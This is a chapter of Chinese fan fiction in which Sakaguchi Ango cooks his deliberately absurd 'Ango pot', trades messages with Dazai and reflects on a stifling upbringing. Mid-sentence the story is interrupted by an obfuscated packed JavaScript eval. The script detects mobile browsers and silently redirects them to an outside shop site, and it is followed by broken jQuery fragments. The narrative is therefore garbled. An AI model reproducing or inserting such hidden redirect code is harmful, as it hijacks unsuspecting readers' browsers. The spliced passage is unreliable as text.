安吾锅的制作的确是一件非常麻烦的事情,从周五开始安吾就买回了各式各样的食材,周六一大早,他就早早地爬起来开始切菜烧汤了。
就在他刚把切好的菜放进锅里的时候,忽然怀里的手机震了好几下,安吾叹口气拿出来一看,果然是那个好奇心旺盛的太宰在坚持不断地骚扰他。
安吾?安吾?你的安吾锅做到哪一步了?让我看一下嘛!——D先生
要不我们打开会议室吧?我们来进行厨房对决!——D先生
安吾锅里都有什么东西?可以放螃蟹吗?——D先生
接连好几条信息在通知栏刷屏,明明现在才早上六点,太宰看起来却似乎已经完全等不及了。
虽然不知道为什么,但是总感觉太宰好像非常在意这个安吾锅的样子,是有什么缘由吗?安吾疑惑地皱起眉头。
毕竟他在之前的世界也完全没提过安吾锅这回事,所以从没见过安吾锅的太宰君按理来说应该不会如此期待才对啊?冥思苦想半天安吾也没想出答案,最后只能把它当成黑暗料理爱好者之间的惺惺相惜。
D先生,现在才六点,你这么早就起来了?——安吾
因为我也要做硬豆腐嘛!说好了今天晚上是安详去世单人餐的初次亮相,我们一定要给织田作留下一个好印象!——D先生
光是这个槽点满满的名字就已经很难有好印象了,D先生。——安吾
怎么可能?这是多么美妙的名字啊!对了,刚才织田作给我发信息来着,他说他受我们两个的启发准备自制一份辣咖喱饭,这下我们的套餐连主食也有了呢!真是太棒了!——D先生。
……那很坏了,感觉吃过之后很难死得安详,应该叫地狱绘卷套餐才对。——安吾
那也很不错啊!今天晚上我们三个就一起踏上去往三途川的旅途吧!——D先生。
安吾:……
“唉,好可怕,我真的不能逃跑吗?”他捂着额头默默崩溃:“就说我今天晚上有急事需要加班……”
“然后安吾牌汤锅就会在第二天出现在横滨的大街小巷了呢,宿主。”世界意识语气同情地提醒:“以前几个时间线太宰治的行动力来看他绝对能做出来这种事,我劝你还是认命吧。”
安吾闭上眼睛思考片刻,不得不承认世界意识说的有些道理,所以他只好老老实实地回到锅边,把各种各样的蔬菜切成块倒进锅里,再添上足够多的水之后将煤气开到小火。
很快锅里的水咕嘟咕嘟开始冒泡,厨房里蔬菜的香气逐渐弥漫,世界意识虽然没有鼻子,但是他同样感受到了:
“闻起来还不错,我觉得安吾锅可能是地狱绘卷套餐里唯一一道正常的菜了,就像你这个人是他们三个里唯一一个正常人一样,宿主。”
是的,在世界意识看来坂口安吾实在是太过正常了,除了比较溺爱其他两个人之外几乎没有槽点,以至于世界意识都有点担心宿主加入太宰和织田作之助会不会遭到排挤。
面对世界意识的夸奖,坂口安吾看着咕嘟咕嘟冒泡的锅露出复杂的神情:
“世界意识先生,人类是一种很复杂的生物,表面正常内里不一定正常,如今正常不代表过去一直正常,就像这道菜一样,现在正常不代表它出锅的时候依然正常。”
世界意识被一通正常不正常的绕口令绕晕了,半天没反应过来坂口安吾的意思,直到锅里的水开始沸腾,它才放弃纠结这个话题转而出言提醒:“宿主,水开了。”
“嗯,我知道。”坂口安吾并没有把汤倒出来或者把火关掉,他拿起汤勺最后搅拌了一下锅里的蔬菜汤之后,盖上锅盖,把火拧成最小,然后就转身离开了厨房,独留下锅里还在沸腾状态的汤不停地熬煮。
“宿主,如果再不把汤盛出来蔬菜就变成糊了。”
“我知道,世界意识先生。”坂口安吾走得头也不回:“但是也没人规定糊状的东西不能成为料理吧?”
世界意识:……
事已至此,它终于觉得有点不对:“安吾锅到底是一道什么样的料理?”
“如果以世俗的眼光去看,它是一道失败的黑暗料理。”坂口安吾走回客厅在沙发上坐下,随手打开电视准备打发一下时间:
“但是如果你拿这个问题去问发明者本人的话,那它就是一道反抗和叛逆的料理。”
“反抗?叛逆?”世界意识疑惑不解:“用料理吗?”
“因为也没有别的反抗方式了吧。”坂口安吾靠在沙发上苦笑一声:“想象一下,你在一个连坐姿不对都会被严厉训斥的古板家族长大,一举一动都有一屋子的仆人监视着你。
小到每天穿的衣服读的书,大到几岁结婚未来的职业,明明是你自己的人生,但是你却一个字都做不了主。弱小的你想要反抗但是又无能为力,只能眼睁睁地看着自己被一点一点地规训成他们计划中的样子……”
世界意识不知道为什么忽然想起坂口安吾那带着洁癖和强迫症般的生活习惯,工整干净宛如印刷体一般的写字笔迹,还有那个跟人说话必带敬语的说话方式……
它一时竟不知道说什么好,只能闭上嘴保持沉默。
坂口安吾也意识到自己说的似乎有点多了,不知道是不是因为世界意识不是人类的原因他跟对方说话总有一种在脑海里自言自语的松弛感,所以总是会不小心就泄露出一些心里活动。
低着头沉默片刻之后,坂口安吾选择跳过这个沉重的话题:
“请您不必在意,世界意识先生。其实这道料理就是我以前叛逆期做出来的,为了显得与众不同所以特意选取了和正常烹饪完全相反的方式。比如,在应该把蔬菜捞出来的时候选择继续煮。”
世界意识默契地跟着跳过了这个话题,之前几个时间线里与太宰治的拉扯让它学会了一个道理,那就是随意去接触一个人心里的伤疤是非常危险的行为,关系不亲近到一定程度,哪怕只是给出安慰都有可能直接激怒对方。
很少有人愿意冒这个风险的,所以人类就只能一辈子带着伤疤将就着往下活。
“那要煮到什么时候?我觉得现在锅里的东西已经变成糊了。”世界意识配合着转移了话题,就好像刚才偶然袒露的心声并不存在。
于是坂口安吾心里也松一口气,他拿起遥控器随便调到一个新闻频道:“还要继续煮很久很久
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16967604|191774||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,只是变成糊状还远远不够。”
事实证明,这道安吾锅真的是怎么与正常烹饪方式对着干就怎么来。
比如正常的料理在煮的时候都是先放肉再放菜,安吾锅就偏要先放菜再放肉;比如正常的料理都应该及时把蔬菜捞出来吃它的鲜脆,安吾锅就偏偏把一大堆的蔬菜放进锅里煮到完全化掉;再比如正常的料理出锅之前会放一些盐或者糖之类的调味料,但是安吾锅就完全舍弃了这个流程……
最后安吾锅的汤底就变成了一团黏稠的史莱姆状流体,里面还混合着一些剁碎的羊肉块和死不瞑目的螃蟹尸体,不知道是被紫菜还是甘蓝或者其他什么东西染成了蓝中带紫的颜色,在打开锅盖之后还不停地往外冒黑烟。
世界意识:……
“虽然我理解你想要叛逆和反抗的决心,但是……这个玩意儿它真的能吃吗?”
久违地见到了少年时期胡闹的东西,坂口安吾眼睛里闪过几丝怀念,忍不住轻笑出声:“哈哈哈,现在一看安吾锅原来看起来这么可怕啊,难怪老师和同学们都吓成那个样子。”
“正常人都会害怕吧?这已经不是有没有毒的问题了,总感觉吃了这个东西就连灵魂都会被腐蚀掉……”世界意识忍不住吐槽。
“是吧?正常人肯定都会像世界意识先生这么想吧?所以哪怕我一再解释安吾锅味道真的很不错也没有人愿意尝试。”
坂口安吾双眸微阖似乎陷入了过往的回忆,嘴角轻轻勾起一个像是轻松又像是苦涩的笑容:“也是呢,谁会冒着生命危险去吃这种东西……”
所以最后,安吾锅总是被安吾一个人吃掉了。
躲在家里后山的那片樱花林里,或者是躲在学校的某个空教室的角落,年少的坂口安吾拿起勺子把味道鲜美的不明物体一口一口吃掉,就像在咀嚼自己无人在意的灵魂。
大家似乎都是这样的,只要表面的样子做好了,内里如何根本没人会注意到。
以前他小的时候还以为只有家里那些老顽固才这么无趣,好不容易争取到出来上学的机会,这才发现原来这个世界上的所有人似乎也都没有太大的差别。
大家只需要在出门的时候穿一些合适的衣服,见面的时候说一些适当的话,相处的时候做一些合群的事就足够了,迎合这个规则的人就被接纳,拒绝这个规则的人就被排斥,仅此而已。
那些话是他真心想说的话吗?那件事是他真正想做的事吗?一个人真实的人性到底是什么样的?这些问题根本就没有人去关心。
在家里这十来年居然就是在被逼着学这种规矩,这个世界还真是无聊透顶。想到这里,年少的坂口安吾揉揉涨得有些难受的肚子,然后看着勺子里最后一口食物笑出了声:
“没有人在意卖相奇特的你是否好吃,就像也没有人在意拒绝虚假的我是否真的是个疯子一样,我们还真是孤单得一脉相承,这可能就是传说中的物似主人形吧!”
说着,叛逆的少年把最后一口食物吃进嘴里,说出的话因为咀嚼而有点模糊:“决定了,我把我的名字分给你,从今天起你就叫安吾锅吧!”
没有人理解安吾,就像没有人尝过安吾锅。